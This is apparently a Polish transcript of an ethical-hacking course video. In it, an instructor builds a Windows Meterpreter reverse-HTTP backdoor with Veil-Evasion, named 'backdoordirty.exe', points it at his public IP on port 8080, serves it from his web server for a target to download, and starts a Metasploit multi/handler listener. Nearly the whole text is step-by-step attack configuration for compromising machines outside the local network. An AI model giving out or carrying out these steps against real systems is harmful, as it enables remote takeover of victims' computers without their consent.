Pedagog: OK, więc
chodźmy dalej.
Stwórzmy backdoora, a jedyną
różnicą jest to, że ustawimy IP na publiczny adres
IP zamiast na lokalny adres IP, więc stworzymy backdoor
dokładnie w taki sam sposób,
w jaki stworzyliśmy go podczas hakowania
urządzenia w tej samej sieci.
Więc użyję Veil-Evasion i zrobię to trochę szybko, ponieważ
to zrobiliśmy i nie ma
w tym nic nowego, więc możemy
Listę zobaczyć, co mamy.
Użyję cyfry 9, więc jest to
dokładnie taka sama ładowność, jak w naszym poprzednim filmie.
Jest to ładunek zwrotny http.
Więc użyjemy 9
i możemy zobaczyć opcje tutaj.
Widzimy, że LPORT jest domyślnie ustawiony na 8080
i ja pozostanę taki sam.
Jedyne, co zamierzam zmienić, to LHOST, aw poprzednich
filmach, kiedy otrzymywaliśmy połączenia na naszym
własnym komputerze, ustawialiśmy go na
lokalny adres IP, więc jeśli zrobię ifconfig
wlan0, to ustawiliśmy go do
192. 168. 0. 1, ponieważ
taki jest adres IP urządzenia używanego w sieci.
Cóż, ilekroć chcesz robić rzeczy na
zewnątrz, chcemy używać prawdziwego adresu IP, ponieważ te wewnętrzne
adresy IP nie są widoczne dla komputerów spoza sieci.
Więc użyję adresu IP, który widzę w
Google, więc kiedy wpisuję „jaki jest mój
adres IP”, dostaję ten adres IP i użyję go jako
LHOST w moim backdooru, więc
po prostu skopiuję to i
ustawię to tutaj.
I przepraszam, że nie wkleiłem go poprawnie,
więc ustaw.
Naciśnij „info”, aby upewnić się, że wszystko
jest poprawnie skonfigurowane, więc PORT 8080 używamy publicznego
adresu IP, więc jest to najważniejszy krok w tym,
a potem zrobimy „generowanie”.
I nazwiemy to „backdoordirty”. exe ”.
Uderzysz Enter.
I to wygenerowało dla mnie ładunek, więc
jest tutaj przechowywane.
Więc
znowu, jak zwykle, skopiuję to
i wkleję do mojego var
www html i pokażę ci,
jak w rzeczywistości pobrać to z internetu spoza sieci.
Więc po prostu skopiuję to do mojego katalogu serwera WWW.
Okej,
więc to wszystko skończone.
Teraz wszystko, co musimy zrobić, to po
prostu słuchać połączeń przychodzących.
Zrobimy to za pomocą multi / handlera,
więc zrobiliśmy to jeszcze raz.
Po prostu zrobię to naprawdę szybko.
A kiedy będę słuchać multi / handlera,
faktycznie będę słuchać na moim lokalnym IP, więc nie
będę słuchać na zewnątrz, będę
słuchać na lokalnym, ponieważ nie mogę
słuchać dalej zewnętrzny.
Jestem właściwie w sieci i
mam kontrolę tylko nad moim obecnym komputerem.
To, co teraz zrobię, jest
tutaj, w maszynie Kali, będę słuchać na PORT
8080, a na urządzeniu zewnętrznym backdoor spróbuje
połączyć się z backdoorem,
więc krok po tym skonfigurujemy Przekazywanie IP, aby pozwolić routerowi
na przekazanie PORTów 8080 do maszyny Kali, ale najpierw
musimy nasłuchiwać
na PORT 8080 w
maszynie Kali, i zrobimy
to za pomocą multi / handler.
Więc po prostu zrobię msfconsole.
Znów zrobiliśmy
to wcześniej, więc zrobię to trochę szybko.
Więc użyję „exploit / multi / handler”.
Ustawię ładunek na
windows / meterpreter / reverse_http.
Potem ustawimy LPORT na 8080, więc to jest
port, na którym będziemy nawiązywać połączenia, a potem ustawię
LHOST, host nasłuchujący, na
moje prywatne IP,
jak powiedziałem wcześniej, więc „ mam
zamiar ustawić
LHOST na
192. 168. 0. 11 '.
Teraz zrobię „pokaż opcje”, aby upewnić
się, że wszystko jest zrobione
poprawnie, i widzimy, że mamy LPORT ustawiony na 8080, a lokalny host ustawiony
na 192. 168. 0. 11
i używamy ładunku windows
/ meterpreter / reverse_http.
Więc wszystko jest dobrze.
Będę „eksploatować”.
Jak widać
tutaj, nasłuchuje na moim prywatnym
IP i nasłuchuje na PORT 8080.
Więc teraz zrobiliśmy dwa
główne kroki: stworzyliśmy
backdoor, a backdoor da nam połączenia z
powrotem na podstawie prawdziwego adresu
IP i nasłuchujemy na naszej lokalnej maszynie.
Słuchamy PORT 8080 w maszynie Kali.
Więc kiedy osoba docelowa
uruchomi backdoor w Internecie, który otrzyma,
backdoor spróbuje połączyć
się z tym adresem IP na PORT 8080.
Jedynym problemem jest teraz Gateway,
czyli router tutaj.
Nie ma otwartego PORT 8080,
więc otrzyma połączenie.
Nie będzie wiedział, co z tym zrobić,
więc musimy skonfigurować router,
aby informował o tym za każdym razem,
gdy coś dostaniesz, za każdym razem, gdy uzyskasz połączenie przez PORT
8080, chcę, abyś przekierował je na moją maszynę Kali.
Możemy to zrobić na
dwa sposoby i porozmawiamy o nich w kolejnym wykładzie.